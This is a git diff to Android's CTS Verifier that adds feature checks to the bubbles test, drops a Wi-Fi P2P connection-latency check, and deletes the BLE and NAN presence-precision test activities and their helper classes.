diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 55a4cce..80aab50 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,8 @@
import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
import static android.content.Intent.ACTION_VIEW;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
+import static android.content.pm.PackageManager.FEATURE_PC;
import static android.view.View.GONE;
import static android.view.View.INVISIBLE;
import static android.view.View.VISIBLE;
@@ -91,6 +93,7 @@
private int mCurrentTestIndex = -1; // gets incremented first time
private int mStepFailureCount = 0;
private boolean mShowingSummary = false;
+ private boolean mSupportsBubble = false;
private Handler mHandler = new Handler();
private Runnable mRunnable;
@@ -148,11 +151,18 @@
});
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+
+ try {
+ mSupportsBubble = getResources().getBoolean(getResources().getIdentifier(
+ "config_supportsBubble", "bool", "android"));
+ } catch (Resources.NotFoundException e) {
+ // Assume device does not support bubble, no need to do anything.
+ }
+
if (am.isLowRamDevice()) {
// Bubbles don't occur on low ram, instead they just show as notifs so test that
mTests.add(new LowRamBubbleTest());
- } else if (!Resources.getSystem()
- .getBoolean(com.android.internal.R.bool.config_supportsBubble)) {
+ } else if (!mSupportsBubble) {
// Bubbles don't occur on bubble disabled devices, only test notifications.
mTests.add(new BubbleDisabledTest());
} else {
@@ -188,9 +198,14 @@
//
// Expanded view appearance
//
- mTests.add(new PortraitAndLandscape());
+ // At the moment, PC devices do not support rotation
+ if (!getPackageManager().hasSystemFeature(FEATURE_PC)) {
+ mTests.add(new PortraitAndLandscape());
+ }
mTests.add(new ScrimBehindExpandedView());
- mTests.add(new ImeInsetsExpandedView());
+ if (getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS)) {
+ mTests.add(new ImeInsetsExpandedView());
+ }
mTests.add(new MinHeightExpandedView());
mTests.add(new MaxHeightExpandedView());
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
index f0c62c4..20ce5ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
@@ -23,9 +23,7 @@
import android.net.wifi.p2p.WifiP2pGroup;
import android.net.wifi.p2p.WifiP2pInfo;
import android.net.wifi.p2p.WifiP2pManager;
-import android.os.Build;
-import com.android.compatibility.common.util.PropertyUtil;
import com.android.cts.verifier.R;
import java.lang.reflect.Method;
@@ -189,11 +187,21 @@
* @throws InterruptedException
*/
protected boolean connectTest(WifiP2pConfig config) throws InterruptedException {
+ notifyTestMsg(R.string.p2p_searching_target);
+
+ /*
+ * Search target device and check its capability.
+ */
ActionListenerTest actionListener = new ActionListenerTest();
+ mP2pMgr.discoverPeers(mChannel, actionListener);
+ if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_discover_peers_error);
+ return false;
+ }
+
/*
* Try to connect the target device.
*/
- long startTime = System.currentTimeMillis();
mP2pMgr.connect(mChannel, config, actionListener);
if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
mReason = mContext.getString(R.string.p2p_connect_error);
@@ -216,15 +224,6 @@
WifiP2pGroup group = mReceiverTest.getWifiP2pGroup();
if (group != null) {
if (!group.isGroupOwner()) {
- long endTime = System.currentTimeMillis();
- long connectionLatency = endTime - startTime;
- if (PropertyUtil.isVndkApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)
- && connectionLatency
- > MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS) {
- mReason = mContext.getString(R.string.p2p_connection_latency_error,
- MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS, connectionLatency);
- return false;
- }
setTargetAddress(group.getOwner().deviceAddress);
} else {
mReason = mContext.getString(R.string.p2p_connection_error);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
index 2117419..7f608c5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
@@ -44,7 +44,6 @@
protected static final int TIMEOUT = 25000;
protected static final int TIMEOUT_FOR_USER_ACTION = 60000;
- protected static final int MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS = 1500;
protected static final int SUCCESS = 0;
protected Context mContext;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
deleted file mode 100644
index 1548910..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/** Tests the precision of the device's RSSI measurement wtfdelet */
-public class BleRssiPrecisionActivity extends PassFailButtons.Activity {
- private static final String TAG = BleRssiPrecisionActivity.class.getName();
-
- // Report log schema
- private static final String KEY_RSSI_RANGE_DBM = "rssi_range_dbm";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
- // Thresholds
- private static final int MAX_RSSI_RANGE_DBM = 18;
-
- private EditText reportRssiRangeEditText;
- private EditText reportReferenceDeviceEditText;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.ble_rssi_precision);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- reportRssiRangeEditText = findViewById(R.id.report_rssi_range);
- reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_BLUETOOTH_LE);
-
- BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
- if (!adapter.isEnabled()) {
- new AlertDialog.Builder(this)
- .setTitle(R.string.ble_bluetooth_disable_title)
- .setMessage(R.string.ble_bluetooth_disable_message)
- .setOnCancelListener(dialog -> finish())
- .create().show();
- }
-
- reportRssiRangeEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- reportReferenceDeviceEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(checkDistanceRangeInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkDistanceRangeInput() {
- String rssiRangeInput = reportRssiRangeEditText.getText().toString();
-
- if (!rssiRangeInput.isEmpty()) {
- int rssiRange = Integer.parseInt(rssiRangeInput);
- // RSSI range must be inputted and within acceptable range before test can be passed
- return rssiRange <= MAX_RSSI_RANGE_DBM;
- }
- return false;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device must be inputted before test can be passed
- return !reportReferenceDeviceEditText.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String rssiRange = reportRssiRangeEditText.getText().toString();
- String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
- if (!rssiRange.isEmpty()) {
- Log.i(TAG, "BLE RSSI Range (dBm): " + rssiRange);
- getReportLog().addValue(KEY_RSSI_RANGE_DBM, Integer.parseInt(rssiRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "BLE Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
deleted file mode 100644
index 2de7edf..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Tests that the device's Rx/Tx calibration results in a median range (cm) within the specified
- * bounds
- */
-public class BleRxTxCalibrationActivity extends PassFailButtons.Activity {
- private static final String TAG = BleRxTxCalibrationActivity.class.getName();
-
- // Report log schema
- private static final String KEY_CHANNEL_RSSI_RANGE = "channel_rssi_range";
- private static final String KEY_CORE_RSSI_RANGE = "core_rssi_range";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
- // Thresholds
- private static final int MAX_RSSI_RANGE = 6;
-
- private EditText reportChannelsRssiRangeEditText;
- private EditText reportCoresRssiRangeEditText;
- private EditText reportReferenceDeviceEditText;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.ble_rx_tx_calibration);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- reportChannelsRssiRangeEditText = findViewById(R.id.report_channels_rssi_range);
- reportCoresRssiRangeEditText = findViewById(R.id.report_cores_rssi_range);
- reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_BLUETOOTH_LE);
-
- BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
- if (!adapter.isEnabled()) {
- new AlertDialog.Builder(this)
- .setTitle(R.string.ble_bluetooth_disable_title)
- .setMessage(R.string.ble_bluetooth_disable_message)
- .setOnCancelListener(dialog -> finish())
- .create().show();
- }
-
- reportChannelsRssiRangeEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- reportCoresRssiRangeEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- reportReferenceDeviceEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(
- checkChannelRssiInput() && checkCoreRssiInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkChannelRssiInput() {
- String channelsRssiRangeInput = reportChannelsRssiRangeEditText.getText().toString();
- if (!channelsRssiRangeInput.isEmpty()) {
- int channelsRssiRange = Integer.parseInt(channelsRssiRangeInput);
- // RSSI range must be inputted and within acceptable range before test can be passed
- return channelsRssiRange <= MAX_RSSI_RANGE;
- }
- return false;
- }
-
- private boolean checkCoreRssiInput() {
- String coresRssiRangeInput = reportCoresRssiRangeEditText.getText().toString();
- if (!coresRssiRangeInput.isEmpty()) {
- int coresRssiRange = Integer.parseInt(coresRssiRangeInput);
- // RSSI range must be inputted and within acceptable range before test can be passed
- return coresRssiRange <= MAX_RSSI_RANGE;
- }
- // This field is optional, so return true even if the user has not inputted anything
- return true;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device must be inputted before test can be passed
- return !reportReferenceDeviceEditText.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String channelRssiRange = reportChannelsRssiRangeEditText.getText().toString();
- String coreRssiRange = reportCoresRssiRangeEditText.getText().toString();
- String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
- if (!channelRssiRange.isEmpty()) {
- Log.i(TAG, "BLE RSSI Range Across Channels (dBm): " + channelRssiRange);
- getReportLog().addValue(KEY_CHANNEL_RSSI_RANGE, Integer.parseInt(channelRssiRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!coreRssiRange.isEmpty()) {
- Log.i(TAG, "BLE RSSI Range Across Cores (dBm): " + coreRssiRange);
- getReportLog().addValue(KEY_CORE_RSSI_RANGE, Integer.parseInt(coreRssiRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "BLE Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java
deleted file mode 100644
index 256fe3a..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-import android.app.Activity;
-import android.content.Context;
-import android.util.Log;
-import android.view.View;
-import android.widget.Toast;
-
-/**
- * Checks if a device supports a hardware feature needed for a test, and passes the test
- * automatically otherwise.
- */
-public class DeviceFeatureChecker {
-
- /** Checks if a feature is supported.
- *
- * @param feature must be a string defined in PackageManager
- */
- public static void checkFeatureSupported(Context context, View passButton, String feature) {
- if (!context.getPackageManager().hasSystemFeature(feature)) {
- String message = String.format("Device does not support %s, automatically passing test",
- feature);
- Toast.makeText(context, message, Toast.LENGTH_SHORT).show();
- Log.e(context.getClass().getName(), message);
- passButton.performClick();
- Activity activity = (Activity) (context);
- activity.finish();
- }
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java
deleted file mode 100644
index 2de68a5..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package com.android.cts.verifier.presence;
-
-import android.text.Editable;
-import android.text.TextWatcher;
-
-/**
- * Handles editable text inputted into test activities.
- */
-public class InputTextHandler {
-
- /** Callback that is executed when text is changed. Takes modified text as input. */
- public interface OnTextChanged {
- void run(Editable s);
- }
-
- /**
- * Generic text changed handler that will execute the provided callback when text is modified.
- *
- * @param callback called when text is changed, and passed the modified text
- */
- public static TextWatcher getOnTextChangedHandler(OnTextChanged callback) {
- return new TextWatcher() {
- @Override
- public void beforeTextChanged(CharSequence s, int start, int count, int after) {}
-
- @Override
- public void onTextChanged(CharSequence s, int start, int before, int count) {}
-
- @Override
- public void afterTextChanged(Editable s) {
- callback.run(s);
- }
- };
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
deleted file mode 100644
index 458d192..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
+++ /dev/null
@@ -1,271 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import com.google.common.collect.ImmutableMap;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Activity for testing that NAN measurements are within the acceptable ranges
- */
-public class NanPrecisionTestActivity extends PassFailButtons.Activity {
- private static final String TAG = NanPrecisionTestActivity.class.getName();
-
- // Report log schema
- private static final String KEY_BANDWIDTH = "nan_bandwidth";
- private static final String KEY_MEASUREMENT_RANGE_10CM_AT_68P = "measurement_range_10cm_68p";
- private static final String KEY_MEASUREMENT_RANGE_1M_AT_68P = "measurement_range_1m_68p";
- private static final String KEY_MEASUREMENT_RANGE_3M_AT_68p = "measurement_range_3m_68p";
- private static final String KEY_MEASUREMENT_RANGE_5M_AT_68p = "measurement_range_5m_68p";
- private static final String KEY_MEASUREMENT_RANGE_10CM_AT_90P = "measurement_range_10cm_90p";
- private static final String KEY_MEASUREMENT_RANGE_1M_AT_90P = "measurement_range_1m_90p";
- private static final String KEY_MEASUREMENT_RANGE_3M_AT_90p = "measurement_range_3m_90p";
- private static final String KEY_MEASUREMENT_RANGE_5M_AT_90p = "measurement_range_5m_90p";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
- // Thresholds
- private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 2;
- private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 4;
- private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 8;
- private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 16;
-
- // Maps NAN bandwidths to acceptable range thresholds
- private static final ImmutableMap<Integer, Integer> BANDWIDTH_TO_THRESHOLD_MAP =
- ImmutableMap.of(160, MAX_DISTANCE_RANGE_METERS_160MHZ, 80,
- MAX_DISTANCE_RANGE_METERS_80MHZ, 40, MAX_DISTANCE_RANGE_METERS_40MHZ, 20,
- MAX_DISTANCE_RANGE_METERS_20MHZ);
-
- private EditText mBandwidthMhz;
- private EditText mMeasurementRange10cmGt68p;
- private EditText mMeasurementRange1mGt68p;
- private EditText mMeasurementRange3mGt68p;
- private EditText mMeasurementRange5mGt68p;
- private EditText mMeasurementRange10cmGt90p;
- private EditText mMeasurementRange1mGt90p;
- private EditText mMeasurementRange3mGt90p;
- private EditText mMeasurementRange5mGt90p;
- private EditText mReferenceDeviceInput;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.nan_precision);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- mBandwidthMhz = (EditText) findViewById(R.id.nan_bandwidth);
- mMeasurementRange10cmGt68p = (EditText) findViewById(R.id.distance_range_10cm_gt_68p);
- mMeasurementRange1mGt68p = (EditText) findViewById(R.id.distance_range_1m_gt_68p);
- mMeasurementRange3mGt68p = (EditText) findViewById(R.id.distance_range_3m_gt_68p);
- mMeasurementRange5mGt68p = (EditText) findViewById(R.id.distance_range_5m_gt_68p);
- mMeasurementRange10cmGt90p = (EditText) findViewById(R.id.distance_range_10cm_gt_90p);
- mMeasurementRange1mGt90p = (EditText) findViewById(R.id.distance_range_1m_gt_90p);
- mMeasurementRange3mGt90p = (EditText) findViewById(R.id.distance_range_3m_gt_90p);
- mMeasurementRange5mGt90p = (EditText) findViewById(R.id.distance_range_5m_gt_90p);
- mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_WIFI_AWARE);
-
- mBandwidthMhz.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange10cmGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange1mGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange3mGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange5mGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange10cmGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange1mGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange3mGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange5mGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mReferenceDeviceInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(checkMeasurementRange68thPercentileInput()
- && checkMeasurementRange90thPercentileInput()
- && checkReferenceDeviceInput());
- }
-
- private boolean checkMeasurementRange68thPercentileInput() {
- return checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt68p,
- mMeasurementRange1mGt68p, mMeasurementRange3mGt68p, mMeasurementRange5mGt68p);
- }
-
- private boolean checkMeasurementRange90thPercentileInput() {
- String measurementRangeInput10cmGt90p = mMeasurementRange10cmGt90p.getText().toString();
- String measurementRangeInput1mGt90p = mMeasurementRange1mGt90p.getText().toString();
- String measurementRangeInput3mGt90p = mMeasurementRange3mGt90p.getText().toString();
- String measurementRangeInput5mGt90p = mMeasurementRange5mGt90p.getText().toString();
- List<String> optionalMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt90p,
- measurementRangeInput1mGt90p,
- measurementRangeInput3mGt90p, measurementRangeInput5mGt90p);
-
- boolean inputted = false;
- for (String input : optionalMeasurementRangeList) {
- if (!input.isEmpty()) {
- inputted = true;
- break;
- }
- }
- // If one of the ranges is inputted for one of the distances, then it becomes required
- // that the ranges are inputted for all the distances and for tests to pass, must be
- // acceptable values
- return !inputted || checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt90p,
- mMeasurementRange1mGt90p, mMeasurementRange3mGt90p, mMeasurementRange5mGt90p);
- }
-
- private boolean checkRequiredMeasurementRangeInput(EditText rangeInput10cm,
- EditText rangeInput1m, EditText rangeInput3m, EditText rangeInput5m) {
- String bandwidthInputMhz = mBandwidthMhz.getText().toString();
- String measurementRangeInput10cmGt = rangeInput10cm.getText().toString();
- String measurementRangeInput1mGt = rangeInput1m.getText().toString();
- String measurementRangeInput3mGt = rangeInput3m.getText().toString();
- String measurementRangeInput5mGt = rangeInput5m.getText().toString();
- List<String> requiredMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt,
- measurementRangeInput1mGt,
- measurementRangeInput3mGt, measurementRangeInput5mGt);
-
- for (String input : requiredMeasurementRangeList) {
- if (bandwidthInputMhz.isEmpty() || input.isEmpty()) {
- // Distance range must be inputted for all fields so fail early otherwise
- return false;
- }
- if (!BANDWIDTH_TO_THRESHOLD_MAP.containsKey(Integer.parseInt(bandwidthInputMhz))) {
- // bandwidth must be one of the expected thresholds
- return false;
- }
- double distanceRange = Double.parseDouble(input);
- int bandwidth = Integer.parseInt(bandwidthInputMhz);
- if (distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) {
- // All inputs must be in acceptable range so fail early otherwise
- return false;
- }
- }
- return true;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device used must be inputted before test can be passed.
- return !mReferenceDeviceInput.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String nanBandwidthMhz = mBandwidthMhz.getText().toString();
- String measurementRange10cmGt68p = mMeasurementRange10cmGt68p.getText().toString();
- String measurementRange1mGt68p = mMeasurementRange1mGt68p.getText().toString();
- String measurementRange3mGt68p = mMeasurementRange3mGt68p.getText().toString();
- String measurementRange5mGt68p = mMeasurementRange5mGt68p.getText().toString();
- String measurementRange10cmGt90p = mMeasurementRange10cmGt90p.getText().toString();
- String measurementRange1mGt90p = mMeasurementRange1mGt90p.getText().toString();
- String measurementRange3mGt90p = mMeasurementRange3mGt90p.getText().toString();
- String measurementRange5mGt90p = mMeasurementRange5mGt90p.getText().toString();
- String referenceDevice = mReferenceDeviceInput.getText().toString();
-
- if (!nanBandwidthMhz.isEmpty()) {
- Log.i(TAG, "NAN Bandwidth at which data was collected: " + nanBandwidthMhz);
- getReportLog().addValue(KEY_BANDWIDTH,
- Integer.parseInt(nanBandwidthMhz),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange10cmGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_68P,
- Double.parseDouble(measurementRange10cmGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange1mGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_68P,
- Double.parseDouble(measurementRange1mGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange3mGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_68p,
- Double.parseDouble(measurementRange3mGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange5mGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_68p,
- Double.parseDouble(measurementRange5mGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange10cmGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_90P,
- Double.parseDouble(measurementRange10cmGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange1mGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt90p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_90P,
- Double.parseDouble(measurementRange1mGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange3mGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt90p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_90p,
- Double.parseDouble(measurementRange3mGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange5mGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt90p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_90p,
- Double.parseDouble(measurementRange5mGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "NAN Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
